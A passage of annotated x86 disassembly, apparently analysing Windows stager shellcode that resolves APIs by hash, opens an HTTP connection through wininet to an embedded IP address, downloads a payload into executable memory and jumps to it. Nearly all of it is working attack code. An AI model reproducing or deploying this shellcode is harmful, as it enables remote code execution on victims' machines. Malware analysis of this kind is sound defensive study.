21: 3c 61 cmp al,0x61
23: 7c 02 jl 0x27
25: 2c 20 sub al,0x20
27: c1 cf 0d ror edi,0xd
2a: 01 c7 add edi,eax
2c: 49 dec ecx
2d: 75 ef jne 0x1e
2f: 52 push edx
30: 8b 52 10 mov edx,DWORD PTR [edx+0x10]
33: 57 push edi
34: 8b 42 3c mov eax,DWORD PTR [edx+0x3c]
37: 01 d0 add eax,edx
39: 8b 40 78 mov eax,DWORD PTR [eax+0x78]
3c: 85 c0 test eax,eax
3e: 74 4c je 0x8c
40: 01 d0 add eax,edx
42: 8b 58 20 mov ebx,DWORD PTR [eax+0x20]
45: 01 d3 add ebx,edx
47: 8b 48 18 mov ecx,DWORD PTR [eax+0x18]
4a: 50 push eax
4b: 85 c9 test ecx,ecx
4d: 74 3c je 0x8b
4f: 31 ff xor edi,edi
51: 49 dec ecx
52: 8b 34 8b mov esi,DWORD PTR [ebx+ecx*4]
55: 01 d6 add esi,edx
57: 31 c0 xor eax,eax
59: c1 cf 0d ror edi,0xd
5c: ac lods al,BYTE PTR ds:[esi]
5d: 01 c7 add edi,eax
5f: 38 e0 cmp al,ah
61: 75 f4 jne 0x57
63: 03 7d f8 add edi,DWORD PTR [ebp-0x8]
66: 3b 7d 24 cmp edi,DWORD PTR [ebp+0x24]
69: 75 e0 jne 0x4b
6b: 58 pop eax
6c: 8b 58 24 mov ebx,DWORD PTR [eax+0x24]
6f: 01 d3 add ebx,edx
71: 66 8b 0c 4b mov cx,WORD PTR [ebx+ecx*2]
75: 8b 58 1c mov ebx,DWORD PTR [eax+0x1c]
78: 01 d3 add ebx,edx
7a: 8b 04 8b mov eax,DWORD PTR [ebx+ecx*4]
7d: 01 d0 add eax,edx
7f: 89 44 24 24 mov DWORD PTR [esp+0x24],eax
83: 5b pop ebx
84: 5b pop ebx
85: 61 popa
86: 59 pop ecx
87: 5a pop edx
88: 51 push ecx
89: ff e0 jmp eax
8b: 58 pop eax
8c: 5f pop edi
8d: 5a pop edx
8e: 8b 12 mov edx,DWORD PTR [edx]
90: e9 80 ff ff ff jmp 0x15
95: 5d pop ebp
96: 68 6e 65 74 00 push 0x74656e - Push the bytes 'wininet' on the stack.
9b: 68 77 69 6e 69 push 0x696e6977 - continued
a0: 54 push esp - Push a pointer to the "wininet" string on the stack.
a1: 68 4c 77 26 07 push 0x726774c - hash( "kernel32.dll", "LoadLibraryA" )
a6: ff d5 call ebp - LoadLibraryA( "wininet" )
a8: 31 db xor ebx,ebx
aa: 53 push ebx
ab: 53 push ebx
ac: 53 push ebx
ad: 53 push ebx
ae: 53 push ebx
af: 68 3a 56 79 a7 push 0xa779563a - hash( "wininet.dll", "InternetOpenA" )
b4: ff d5 call ebp
b6: 53 push ebx
b7: 53 push ebx
b8: 6a 03 push 0x3
ba: 53 push ebx
bb: 53 push ebx
bc: 68 fb 20 00 00 push 0x20fb
c1: e8 b0 00 00 00 call 0x176
c6: 2f das
c7: 71 63 jno 0x12c
c9: 57 push edi
ca: 4b dec ebx
cb: 69 35 30 34 66 31 76 imul esi,DWORD PTR ds:0x31663430,0x66535f76
d2: 5f 53 66
d5: 35 49 6e 36 37 xor eax,0x37366e49
da: 54 push esp
db: 50 push eax
dc: 67 76 74 addr16 jbe 0x153
df: 54 push esp
e0: 33 51 57 xor edx,DWORD PTR [ecx+0x57]
e3: 42 inc edx
e4: 00 50 68 add BYTE PTR [eax+0x68],dl
e7: 57 push edi
e8: 89 9f c6 ff d5 89 mov DWORD PTR [edi-0x762a003a],ebx
ee: c6 (bad)
ef: 53 push ebx
f0: 68 00 32 e8 84 push 0x84e83200
f5: 53 push ebx
f6: 53 push ebx
f7: 53 push ebx
f8: 57 push edi
f9: 53 push ebx
fa: 56 push esi
fb: 68 eb 55 2e 3b push 0x3b2e55eb
100: ff d5 call ebp
102: 96 xchg esi,eax
103: 6a 0a push 0xa
105: 5f pop edi
106: 68 80 33 00 00 push 0x3380
10b: 89 e0 mov eax,esp
10d: 6a 04 push 0x4
10f: 50 push eax
110: 6a 1f push 0x1f
112: 56 push esi
113: 68 75 46 9e 86 push 0x869e4675
118: ff d5 call ebp
11a: 53 push ebx
11b: 53 push ebx
11c: 53 push ebx
11d: 53 push ebx
11e: 56 push esi
11f: 68 2d 06 18 7b push 0x7b18062d
124: ff d5 call ebp
126: 85 c0 test eax,eax
128: 75 16 jne 0x140
12a: 68 88 13 00 00 push 0x1388
12f: 68 44 f0 35 e0 push 0xe035f044
134: ff d5 call ebp
136: 4f dec edi
137: 75 cd jne 0x106
139: 68 f0 b5 a2 56 push 0x56a2b5f0
13e: ff d5 call ebp
140: 6a 40 push 0x40
142: 68 00 10 00 00 push 0x1000
147: 68 00 00 40 00 push 0x400000
14c: 53 push ebx
14d: 68 58 a4 53 e5 push 0xe553a458
152: ff d5 call ebp
154: 93 xchg ebx,eax
155: 53 push ebx
156: 53 push ebx
157: 89 e7 mov edi,esp
159: 57 push edi
15a: 68 00 20 00 00 push 0x2000
15f: 53 push ebx
160: 56 push esi
161: 68 12 96 89 e2 push 0xe2899612
166: ff d5 call ebp
168: 85 c0 test eax,eax
16a: 74 cd je 0x139
16c: 8b 07 mov eax,DWORD PTR [edi]
16e: 01 c3 add ebx,eax
170: 85 c0 test eax,eax
172: 75 e5 jne 0x159
174: 58 pop eax
175: c3 ret
176: 5f pop edi
177: e8 69 ff ff ff call 0xe5
17c: 31 37 xor DWORD PTR [edi],esi
17e: 32 2e xor ch,BYTE PTR [esi]
180: 32 36 xor dh,BYTE PTR [esi]
182: 2e 32 30 xor dh,BYTE PTR cs:[eax]
185: 31 2e xor DWORD PTR [esi],ebp
187: 32 31 xor dh,BYTE PTR [ecx]
189: 37 aaa